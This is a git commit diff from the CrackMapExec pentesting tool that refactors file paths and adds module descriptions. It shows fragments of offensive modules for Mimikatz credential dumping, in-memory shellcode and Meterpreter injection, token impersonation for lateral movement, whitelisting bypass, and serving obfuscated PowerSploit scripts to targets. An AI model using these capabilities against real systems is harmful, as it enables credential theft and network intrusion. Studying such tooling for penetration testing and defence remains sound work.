Refactoring for packiging is now complete!

main
byt3bl33d3r 2016-06-04 01:13:38 -06:00
parent 68a908562a
commit 23d8a6517f
19 changed files with 117 additions and 68 deletions

View File

@ -16,12 +16,12 @@ requests.packages.urllib3.disable_warnings()
class CMEDatabaseNavigator(cmd.Cmd):
def __init__(self):
def __init__(self, db_path):
cmd.Cmd.__init__(self)
self.prompt = 'cmedb > '
try:
# set the database connection to autocommit w/ isolation level
conn = sqlite3.connect('data/cme.db', check_same_thread=False)
conn = sqlite3.connect(db_path, check_same_thread=False)
conn.text_factory = str
conn.isolation_level = None
self.db = CMEDatabase(conn)
@ -300,15 +300,18 @@ class CMEDatabaseNavigator(cmd.Cmd):
def main():
parser = argparse.ArgumentParser()
parser.add_argument("path", nargs='?', type=str, default='data/cme.db', help="path to CME database (default: data/cme.db)")
parser.add_argument("path", nargs='?', type=str, default=None, help="path to CME database (default: data/cme.db)")
args = parser.parse_args()
if not os.path.exists(args.path):
db_path = os.path.join(os.path.expanduser('~/.cme'), 'cme.db')
if args.path:
db_path = os.path.expanduser(args.path)
print 'Path to CME database invalid'
sys.exit(1)
try:
cmedbnav = CMEDatabaseNavigator()
cmedbnav = CMEDatabaseNavigator(db_path)
cmedbnav.cmdloop()
except KeyboardInterrupt:
pass

View File

@ -1,6 +1,9 @@
import BaseHTTPServer
import threading
import ssl
import os
import sys
from getpass import getuser
from BaseHTTPServer import BaseHTTPRequestHandler
from logging import getLogger
from gevent import sleep
@ -36,7 +39,11 @@ class RequestHandler(BaseHTTPRequestHandler):
class CMEServer(threading.Thread):
def __init__(self, module, context, srv_host, port, server_type='https'):
def __init__(self, module, context, logger, srv_host, port, server_type='https'):
if port <= 1024 and os.geteuid() != 0:
logger.error("I'm sorry {}, I'm afraid I can't let you do that".format(getuser()))
sys.exit(1)
try:
threading.Thread.__init__(self)
@ -46,12 +53,19 @@ class CMEServer(threading.Thread):
self.server.module = module
self.server.context = context
self.server.log = context.log
self.cert_path = os.path.join(os.path.expanduser('~/.cme'), 'cme.pem')
if server_type == 'https':
self.server.socket = ssl.wrap_socket(self.server.socket, certfile='data/cme.pem', server_side=True)
self.server.socket = ssl.wrap_socket(self.server.socket, certfile=self.cert_path, server_side=True)
except Exception as e:
print 'Error starting CME Server: {}'.format(e)
errno, message = e.args
if errno == 98 and message == 'Address already in use':
logger.error('Error starting CME server: the port is already in use, try specifying a diffrent port using --server-port')
else:
logger.error('Error starting CME server: {}'.format(message))
sys.exit(1)
def base_server(self):
return self.server

View File

@ -43,7 +43,7 @@ def main():
@pentestgeek's smbexec https://github.com/pentestgeek/smbexec
{}: {}
{}: {}
{}: {}
""".format(highlight('Version', 'red'),
highlight(VERSION),
highlight('Codename', 'red'),
@ -63,8 +63,8 @@ def main():
msgroup.add_argument("-H", metavar="HASH", dest='hash', nargs='*', default=[], help='NTLM hash(es) or file(s) containing NTLM hashes')
parser.add_argument("-M", "--module", metavar='MODULE', dest='module', help='Payload module to use')
parser.add_argument('-o', metavar='MODULE_OPTION', nargs='*', default=[], dest='module_options', help='Payload module options')
parser.add_argument('--module-info', action='store_true', dest='module_info', help='Display module info')
parser.add_argument('--list-modules', action='store_true', help='List available modules')
parser.add_argument('-L', '--list-modules', action='store_true', help='List available modules')
parser.add_argument('--show-options', action='store_true', dest='show_options', help='Display module options')
parser.add_argument("--share", metavar="SHARE", dest='share', default="C$", help="Specify a share (default: C$)")
parser.add_argument("--smb-port", dest='smb_port', type=int, choices={139, 445}, default=445, help="SMB port (default: 445)")
parser.add_argument("--mssql-port", dest='mssql_port', default=1433, type=int, metavar='PORT', help='MSSQL port (default: 1433)')
@ -190,14 +190,16 @@ def main():
modules = loader.get_modules()
if args.list_modules:
for module in modules:
print module
for m in modules:
logger.info('{:<20} {}'.format(m, modules[m]['description']))
elif args.modules:
for module in modules.keys():
if args.module.lower() == module.lower():
module, context, server = loader.init_module(modules[module]['path'])
break
elif args.module:
for m in modules.keys():
if args.module.lower() == m.lower():
if args.show_options:
logger.info('{} module options:\n{}'.format(m, modules[m]['options']))
elif not args.show_options:
module, context, server = loader.init_module(modules[m]['path'])
try:
'''

View File

@ -7,6 +7,7 @@ from cme.credentials.lsa import LSASecrets
from cme.credentials.ntds import NTDSHashes
from impacket.dcerpc.v5.rpcrt import DCERPCException
import traceback
import os
import logging
class DumpSecrets:
@ -28,7 +29,7 @@ class DumpSecrets:
self.__history = False
self.__noLMHash = True
self.__isRemote = True
self.__outputFileName = 'logs/{}_{}'.format(connection.hostname, connection.host)
self.__outputFileName = os.path.join(os.path.expanduser('~/.cme'), 'logs/{}_{}'.format(connection.hostname, connection.host))
self.__doKerberos = False
self.__justDC = False
self.__justDCNTLM = False

View File

@ -1,6 +1,8 @@
import random
import string
import re
import cme
import os
from base64 import b64encode
from termcolor import colored
@ -14,6 +16,14 @@ def validate_ntlm(data):
else:
return False
def get_ps_script(path):
return os.path.join(os.path.dirname(cme.__file__), 'data', 'PowerSploit', path)
def write_log(data, log_name):
logs_dir = os.path.join(os.path.expanduser('~/.cme'), 'logs')
with open(os.path.join(logs_dir, log_name), 'w') as mimikatz_output:
mimikatz_output.write(data)
def obfs_ps_script(script, function_name=None):
"""
Strip block comments, line comments, empty lines, verbose statements,

View File

@ -2,7 +2,6 @@ import imp
import os
import sys
import cme
from getpass import getuser
from logging import getLogger
from cme.context import Context
from cme.logger import CMEAdapter
@ -24,6 +23,10 @@ class ModuleLoader:
self.logger.error('{} missing the name variable'.format(module_path))
module_error = True
elif not hasattr(module, 'description'):
self.logger.error('{} missing the description variable'.format(module_path))
module_error = True
elif not hasattr(module, 'options'):
self.logger.error('{} missing the options function'.format(module_path))
module_error = True
@ -48,19 +51,19 @@ class ModuleLoader:
modules_path = os.path.join(os.path.dirname(cme.__file__), 'modules')
for module in os.listdir(modules_path):
if module[-3:] == '.py':
if module[-3:] == '.py' and module != 'example_module.py':
module_path = os.path.join(modules_path, module)
m = self.load_module(os.path.join(modules_path, module))
if m:
modules[m.name] = {'path': module, 'description': m.__doc__, 'options': m.options.__doc__}
modules[m.name] = {'path': module_path, 'description': m.description, 'options': m.options.__doc__}
modules_path = os.path.join(self.cme_path, 'modules')
for module in os.listdir(modules_path):
if module[-3:] == '.py':
if module[-3:] == '.py' and module != 'example_module.py':
module_path = os.path.join(modules_path, module)
m = self.load_module(module_path)
if m:
modules[m.name] = {'path': module_path, 'description': m.__doc__, 'options': m.options.__doc__}
modules[m.name] = {'path': module_path, 'description': m.description, 'options': m.options.__doc__}
return modules
@ -90,13 +93,9 @@ class ModuleLoader:
args.server = getattr(module, 'required_server')
if not self.server_port:
if self.args.server_port <= 1024 and os.geteuid() is not 0:
self.logger.error("I'm sorry {}, I'm afraid I can't let you do that".format(getuser()))
sys.exit(1)
self. server_port = self.args.server_port
server = CMEServer(module, context, self.args.server_host, self.server_port, self.args.server)
server = CMEServer(module, context, self.logger, self.args.server_host, self.server_port, self.args.server)
server.start()
return module, context, server

View File

@ -15,6 +15,8 @@ class CMEModule:
name='com_exec'
description = 'Executes a command using a COM scriptlet to bypass whitelisting'
required_server='http'
def options(self, context, module_options):

View File

@ -11,7 +11,9 @@ class CMEModule:
Module by @byt3bl33d3r
'''
name='Empire_Exec'
name='empire_exec'
description = "Uses Empire's RESTful API to generate a launcher for the specified listener and executes it"
def options(self, context, module_options):
'''

View File

@ -5,7 +5,9 @@ class CMEModule:
'''
name = 'Example'
name = 'example module'
description = 'Something Something'
def options(self, context, module_options):
'''Required. Module options get parsed here. Additionally, put the modules usage here as well'''

View File

@ -1,4 +1,4 @@
from cme.helpers import create_ps_command, obfs_ps_script
from cme.helpers import create_ps_command, obfs_ps_script, get_ps_script, write_log
from StringIO import StringIO
from datetime import datetime
@ -8,7 +8,9 @@ class CMEModule:
Module by @byt3bl33d3r
'''
name = 'GetComputers'
name = 'getcomputers'
description = "Wrapper for PowerView's Get-NetGroup function"
def options(self, context, module_options):
'''
@ -71,7 +73,7 @@ class CMEModule:
request.send_response(200)
request.end_headers()
with open('data/PowerSploit/Recon/PowerView.ps1', 'r') as ps_script:
with open(get_ps_script('Recon/PowerView.ps1'), 'r') as ps_script:
ps_script = obfs_ps_script(ps_script.read())
request.wfile.write(ps_script)
@ -97,6 +99,5 @@ class CMEModule:
print_post_data(data)
log_name = 'Computers-{}-{}.log'.format(response.client_address[0], datetime.now().strftime("%Y-%m-%d_%H%M%S"))
with open('logs/' + log_name, 'w') as log_file:
log_file.write(data)
write_log(data, log_name)
context.log.info("Saved output to {}".format(log_name))

View File

@ -1,4 +1,4 @@
from cme.helpers import create_ps_command, obfs_ps_script
from cme.helpers import create_ps_command, obfs_ps_script, get_ps_script, write_log
from StringIO import StringIO
from datetime import datetime
@ -8,7 +8,9 @@ class CMEModule:
Module by @byt3bl33d3r
'''
name = 'GetGroupMembers'
name = 'getgroupmembers'
description = "Wrapper for PowerView's Get-NetGroupMember function"
def options(self, context, module_options):
'''
@ -63,7 +65,7 @@ class CMEModule:
request.send_response(200)
request.end_headers()
with open('data/PowerSploit/Recon/PowerView.ps1', 'r') as ps_script:
with open(get_ps_script('Recon/PowerView.ps1'), 'r') as ps_script:
ps_script = obfs_ps_script(ps_script.read())
request.wfile.write(ps_script)
@ -89,6 +91,5 @@ class CMEModule:
print_post_data(data)
log_name = 'GroupMembers-{}-{}.log'.format(response.client_address[0], datetime.now().strftime("%Y-%m-%d_%H%M%S"))
with open('logs/' + log_name, 'w') as log_file:
log_file.write(data)
write_log(data, log_name)
context.log.info("Saved output to {}".format(log_name))

View File

@ -1,4 +1,4 @@
from cme.helpers import create_ps_command, obfs_ps_script
from cme.helpers import create_ps_command, obfs_ps_script, get_ps_script, write_log
from StringIO import StringIO
from datetime import datetime
@ -8,7 +8,9 @@ class CMEModule:
Module by @byt3bl33d3r
'''
name = 'GetGroups'
name = 'getgroups'
description = "Wrapper for PowerView's Get-NetGroup function"
def options(self, context, module_options):
'''
@ -63,7 +65,7 @@ class CMEModule:
request.send_response(200)
request.end_headers()
with open('data/PowerSploit/Recon/PowerView.ps1', 'r') as ps_script:
with open(get_ps_script('Recon/PowerView.ps1'), 'r') as ps_script:
ps_script = obfs_ps_script(ps_script.read())
request.wfile.write(ps_script)
@ -89,6 +91,5 @@ class CMEModule:
print_post_data(data)
log_name = 'Groups-{}-{}.log'.format(response.client_address[0], datetime.now().strftime("%Y-%m-%d_%H%M%S"))
with open('logs/' + log_name, 'w') as log_file:
log_file.write(data)
write_log(data, log_name)
context.log.info("Saved output to {}".format(log_name))

View File

@ -1,4 +1,4 @@
from cme.helpers import gen_random_string, create_ps_command, obfs_ps_script
from cme.helpers import gen_random_string, create_ps_command, obfs_ps_script, get_ps_script
from sys import exit
class CMEModule:
@ -6,7 +6,9 @@ class CMEModule:
Downloads the Meterpreter stager and injects it into memory using PowerSploit's Invoke-Shellcode.ps1 script
Module by @byt3bl33d3r
'''
name = 'MetInject'
name = 'metinject'
description = "Downloads the Meterpreter stager and injects it into memory using PowerSploit's Invoke-Shellcode.ps1 script"
def options(self, context, module_options):
'''
@ -73,7 +75,7 @@ class CMEModule:
request.send_response(200)
request.end_headers()
with open('data/PowerSploit/CodeExecution/Invoke-Shellcode.ps1', 'r') as ps_script:
with open(get_ps_script('CodeExecution/Invoke-Shellcode.ps1'), 'r') as ps_script:
ps_script = obfs_ps_script(ps_script.read(), self.obfs_name)
request.wfile.write(ps_script)

View File

@ -1,4 +1,4 @@
from cme.helpers import create_ps_command, obfs_ps_script, gen_random_string, validate_ntlm
from cme.helpers import create_ps_command, get_ps_script, obfs_ps_script, gen_random_string, validate_ntlm, write_log
from datetime import datetime
import re
@ -8,7 +8,9 @@ class CMEModule:
Module by @byt3bl33d3r
'''
name = 'Mimikatz'
name = 'mimikatz'
description = "Executes PowerSploit's Invoke-Mimikatz.ps1 script"
def options(self, context, module_options):
'''
@ -53,7 +55,7 @@ class CMEModule:
request.send_response(200)
request.end_headers()
with open('data/PowerSploit/Exfiltration/Invoke-Mimikatz.ps1', 'r') as ps_script:
with open(get_ps_script('Exfiltration/Invoke-Mimikatz.ps1'), 'r') as ps_script:
ps_script = obfs_ps_script(ps_script.read(), self.obfs_name)
request.wfile.write(ps_script)
@ -213,6 +215,5 @@ class CMEModule:
context.log.highlight('{}\\{}:{}'.format(domain, username, password))
log_name = 'Mimikatz-{}-{}.log'.format(response.client_address[0], datetime.now().strftime("%Y-%m-%d_%H%M%S"))
with open('logs/' + log_name, 'w') as mimikatz_output:
mimikatz_output.write(data)
write_log(data, log_name)
context.log.info("Saved Mimikatz's output to {}".format(log_name))

View File

@ -1,4 +1,4 @@
from cme.helpers import gen_random_string, create_ps_command, obfs_ps_script
from cme.helpers import gen_random_string, create_ps_command, obfs_ps_script, get_ps_script
from sys import exit
import os
@ -7,7 +7,9 @@ class CMEModule:
Downloads the specified DLL/EXE and injects it into memory using PowerSploit's Invoke-ReflectivePEInjection.ps1 script
Module by @byt3bl33d3r
'''
name = 'PEInject'
name = 'peinject'
description = "Downloads the specified DLL/EXE and injects it into memory using PowerSploit's Invoke-ReflectivePEInjection.ps1 script"
def options(self, context, module_options):
'''
@ -64,7 +66,7 @@ class CMEModule:
request.send_response(200)
request.end_headers()
with open('data/PowerSploit/CodeExecution/Invoke-ReflectivePEInjection.ps1', 'r') as ps_script:
with open(get_ps_script('CodeExecution/Invoke-ReflectivePEInjection.ps1'), 'r') as ps_script:
ps_script = obfs_ps_script(ps_script.read(), self.obfs_name)
request.wfile.write(ps_script)

View File

@ -1,5 +1,5 @@
import os
from cme.helpers import gen_random_string, create_ps_command, obfs_ps_script
from cme.helpers import gen_random_string, create_ps_command, obfs_ps_script, get_ps_script
from sys import exit
class CMEModule:
@ -7,7 +7,9 @@ class CMEModule:
Downloads the specified raw shellcode and injects it into memory using PowerSploit's Invoke-Shellcode.ps1 script
Module by @byt3bl33d3r
'''
name = 'ShellInject'
name = 'shellinject'
description = "Downloads the specified raw shellcode and injects it into memory using PowerSploit's Invoke-Shellcode.ps1 script"
def options(self, context, module_options):
'''
@ -56,7 +58,7 @@ class CMEModule:
request.send_response(200)
request.end_headers()
with open('data/PowerSploit/CodeExecution/Invoke-Shellcode.ps1' ,'r') as ps_script:
with open(get_ps_script('CodeExecution/Invoke-Shellcode.ps1') ,'r') as ps_script:
ps_script = obfs_ps_script(ps_script.read(), self.obfs_name)
request.wfile.write(ps_script)

View File

@ -1,5 +1,5 @@
from StringIO import StringIO
from cme.helpers import create_ps_command, gen_random_string, obfs_ps_script
from cme.helpers import create_ps_command, gen_random_string, obfs_ps_script, get_ps_script
from base64 import b64encode
import sys
import os
@ -16,7 +16,9 @@ class CMEModule:
Module by @byt3bl33d3r
'''
name = 'TokenRider'
name = 'tokenrider'
description = 'Allows for automatic token enumeration, impersonation and mass lateral spread using privileges instead of dumped credentials'
def options(self, context, module_options):
'''
@ -124,7 +126,7 @@ class CMEModule:
request.send_response(200)
request.end_headers()
with open('data/PowerSploit/Exfiltration/Invoke-TokenManipulation.ps1', 'r') as ps_script:
with open(get_ps_script('Exfiltration/Invoke-TokenManipulation.ps1'), 'r') as ps_script:
ps_script = obfs_ps_script(ps_script.read(), self.obfs_name)
request.wfile.write(ps_script)

View File

@ -1,4 +1,4 @@
from cme.helpers import create_ps_command, obfs_ps_script, gen_random_string
from cme.helpers import create_ps_command, obfs_ps_script, gen_random_string, get_ps_script
from datetime import datetime
from StringIO import StringIO
import os
@ -10,7 +10,9 @@ class CMEModule:
Module by @byt3bl33d3r
'''
name = 'Tokens'
name = 'tokens'
description = "Enumerates available tokens using Powersploit's Invoke-TokenManipulation"
def options(self, context, module_options):
'''
@ -67,7 +69,7 @@ class CMEModule:
request.send_response(200)
request.end_headers()
with open('data/PowerSploit/Exfiltration/Invoke-TokenManipulation.ps1', 'r') as ps_script:
with open(get_ps_script('Exfiltration/Invoke-TokenManipulation.ps1'), 'r') as ps_script:
ps_script = obfs_ps_script(ps_script.read(), self.obfs_name)
request.wfile.write(ps_script)

View File

@ -7,7 +7,7 @@ setup(name='crackmapexec',
'License :: OSI Approved :: BSD License',
'Programming Language :: Python :: 2.7',
],
keywords='pentesting tool security windows smb active-directory',
keywords='pentesting security windows smb active-directory',
url='http://github.com/byt3bl33d3r/CrackMapExec',
author='byt3bl33d3r',
author_email='byt3bl33d3r@gmail.com',